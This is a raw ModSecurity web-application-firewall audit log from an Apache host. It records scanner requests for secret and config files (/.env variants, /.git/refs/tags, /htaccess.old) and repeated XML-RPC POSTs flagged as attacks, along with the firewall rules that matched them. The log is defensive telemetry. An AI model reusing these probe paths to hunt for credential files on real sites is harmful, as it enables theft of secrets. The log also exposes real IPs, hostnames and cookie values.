<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=222528d55c74ebe2a84a8caa1c9edbc41750024705; expires=Sun, 15 Jun 2025 22:58:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d24ebf50-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env"] [unique_id "aE9CAFR6EeXjkGzEkblnUwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024704987361 657281 (- - -) Stopwatch2: 1750024704987361 657281; combined=1906, p1=420, p2=1332, p3=0, p4=0, p5=153, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d24ebf50-Z-- --cfdc1a6c-A-- [16/Jun/2025:03:28:58.793365 +0530] aE9CIU6Jm8uWY207Wng90wAAAAE 128.199.112.101 51212 127.0.0.1 7081 --cfdc1a6c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cfdc1a6c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cfdc1a6c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9CIU6Jm8uWY207Wng90wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024737854718 938702 (- - -) Stopwatch2: 1750024737854718 938702; combined=2068, p1=369, p2=1334, p3=40, p4=56, p5=168, sr=101, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cfdc1a6c-Z-- --16025b23-A-- [16/Jun/2025:03:29:35.011621 +0530] aE9CRorLgrklqy57Kk2erAAAAAg 185.177.72.210 55430 127.0.0.1 7081 --16025b23-B-- GET /htaccess.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16025b23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b2196910ad83b45b184cb48df676da0c1750024774; expires=Sun, 15 Jun 2025 22:59:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16025b23-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/htaccess.old"] [unique_id "aE9CRorLgrklqy57Kk2erAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024774165997 845695 (- - -) Stopwatch2: 1750024774165997 845695; combined=2227, p1=432, p2=1720, p3=0, p4=0, p5=74, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16025b23-Z-- --c9be577a-A-- [16/Jun/2025:03:29:35.997952 +0530] aE9CRxAGYpjnkyifC9YiuQAAAAU 185.177.72.210 55468 127.0.0.1 7081 --c9be577a-B-- GET /:5601/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c9be577a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f7b36cd818d2291757e027d6c4857f61750024775; expires=Sun, 15 Jun 2025 22:59:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c9be577a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/front-end/.env"] [unique_id "aE9CRxAGYpjnkyifC9YiuQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024775335895 662150 (- - -) Stopwatch2: 1750024775335895 662150; combined=2351, p1=499, p2=1712, p3=0, p4=0, p5=139, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9be577a-Z-- --95c8d202-A-- [16/Jun/2025:03:29:38.105863 +0530] aE9CSXZqyQ8YfVGvJU7bMAAAAAY 185.177.72.210 55604 127.0.0.1 7081 --95c8d202-B-- GET /:8000/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --95c8d202-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1106592a4d88afd59e60a5e1c211eb3c1750024777; expires=Sun, 15 Jun 2025 22:59:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --95c8d202-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.debug"] [unique_id "aE9CSXZqyQ8YfVGvJU7bMAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024777311659 794274 (- - -) Stopwatch2: 1750024777311659 794274; combined=1810, p1=353, p2=1365, p3=0, p4=0, p5=92, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --95c8d202-Z-- --d751c613-A-- [16/Jun/2025:03:29:44.137524 +0530] aE9CTxAGYpjnkyifC9YivQAAAAU 185.177.72.210 59260 127.0.0.1 7081 --d751c613-B-- GET /:8880/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d751c613-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b3f4c8b56eee3d4c85f7d28d06e4e6621750024783; expires=Sun, 15 Jun 2025 22:59:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d751c613-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/local/.env"] [unique_id "aE9CTxAGYpjnkyifC9YivQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024783480514 657075 (- - -) Stopwatch2: 1750024783480514 657075; combined=1948, p1=356, p2=1504, p3=0, p4=0, p5=88, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d751c613-Z-- --16882069-A-- [16/Jun/2025:03:29:45.119178 +0530] aE9CUFR6EeXjkGzEkblnegAAAAs 185.177.72.210 59310 127.0.0.1 7081 --16882069-B-- GET /.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16882069-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d317eedd74010b41f33b6020bfc7cc011750024784; expires=Sun, 15 Jun 2025 22:59:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16882069-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env~"] [unique_id "aE9CUFR6EeXjkGzEkblnegAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024784460200 659069 (- - -) Stopwatch2: 1750024784460200 659069; combined=1651, p1=385, p2=1163, p3=0, p4=0, p5=102, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16882069-Z-- --f30b082b-A-- [16/Jun/2025:03:29:58.730788 +0530] aE9CXUNwpNEMJppxC49UYwAAAAI 128.199.112.101 57126 127.0.0.1 7081 --f30b082b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f30b082b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f30b082b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9CXUNwpNEMJppxC49UYwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024797787296 943547 (- - -) Stopwatch2: 1750024797787296 943547; combined=2444, p1=385, p2=1636, p3=46, p4=68, p5=187, sr=109, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f30b082b-Z-- --ce496d47-A-- [16/Jun/2025:03:30:11.944675 +0530] aE9Ca32GhYywD7zZgx78yAAAAAM 185.177.72.210 54678 127.0.0.1 7081 --ce496d47-B-- GET /cronlab/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce496d47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a4058361965a7f7e96803304105941db1750024811; expires=Sun, 15 Jun 2025 23:00:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce496d47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cronlab/.env"] [unique_id "aE9Ca32GhYywD7zZgx78yAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024811219951 724835 (- - -) Stopwatch2: 1750024811219951 724835; combined=2026, p1=520, p2=1395, p3=0, p4=0, p5=110, sr=164, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce496d47-Z-- --d7328511-A-- [16/Jun/2025:03:30:12.944382 +0530] aE9CbFR6EeXjkGzEkblnhwAAAAs 185.177.72.210 54734 127.0.0.1 7081 --d7328511-B-- GET /:8008/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7328511-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e9253ec4deff4e1a6b8684e22c9d55e1750024812; expires=Sun, 15 Jun 2025 23:00:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7328511-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/shop/.env"] [unique_id "aE9CbFR6EeXjkGzEkblnhwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024812284528 659965 (- - -) Stopwatch2: 1750024812284528 659965; combined=2220, p1=431, p2=1695, p3=0, p4=0, p5=93, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7328511-Z-- --9399fa58-A-- [16/Jun/2025:03:30:18.871490 +0530] aE9CcnZqyQ8YfVGvJU7bRQAAAAY 185.177.72.210 54924 127.0.0.1 7081 --9399fa58-B-- GET /babel-plugin-dotenv/test/fixtures/prod-env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9399fa58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d4b1ca783cff507d77c97d7d2776a891750024818; expires=Sun, 15 Jun 2025 23:00:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9399fa58-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/prod-env/.env"] [unique_id "aE9CcnZqyQ8YfVGvJU7bRQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024818193874 677680 (- - -) Stopwatch2: 1750024818193874 677680; combined=1888, p1=498, p2=1273, p3=0, p4=0, p5=116, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9399fa58-Z-- --7656dc08-A-- [16/Jun/2025:03:30:19.918275 +0530] aE9Cc1R6EeXjkGzEkblnigAAAAs 185.177.72.210 54962 127.0.0.1 7081 --7656dc08-B-- GET /tests/default_settings/v12.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7656dc08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=301e060ee165b2dcf15f40473909034d1750024819; expires=Sun, 15 Jun 2025 23:00:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7656dc08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v12.0/.env"] [unique_id "aE9Cc1R6EeXjkGzEkblnigAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024819253399 664938 (- - -) Stopwatch2: 1750024819253399 664938; combined=1675, p1=363, p2=1215, p3=0, p4=0, p5=96, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7656dc08-Z-- --b4618d4c-A-- [16/Jun/2025:03:30:31.771787 +0530] aE9Cf32GhYywD7zZgx780gAAAAM 185.177.72.210 33202 127.0.0.1 7081 --b4618d4c-B-- GET /:8181/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4618d4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5d93636be897243ce7945b5256e3925c1750024831; expires=Sun, 15 Jun 2025 23:00:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4618d4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/awstats/.env"] [unique_id "aE9Cf32GhYywD7zZgx780gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024831114397 657467 (- - -) Stopwatch2: 1750024831114397 657467; combined=1947, p1=364, p2=1458, p3=0, p4=0, p5=125, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4618d4c-Z-- --a0bff321-A-- [16/Jun/2025:03:30:46.811464 +0530] aE9Cjn2GhYywD7zZgx782QAAAAM 185.177.72.210 33720 127.0.0.1 7081 --a0bff321-B-- GET /.git/refs/tags HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0bff321-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8811547783348c286c60c9ed8d3823491750024846; expires=Sun, 15 Jun 2025 23:00:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0bff321-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/tags"] [unique_id "aE9Cjn2GhYywD7zZgx782QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024846168202 643326 (- - -) Stopwatch2: 1750024846168202 643326; combined=1795, p1=449, p2=1258, p3=0, p4=0, p5=87, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 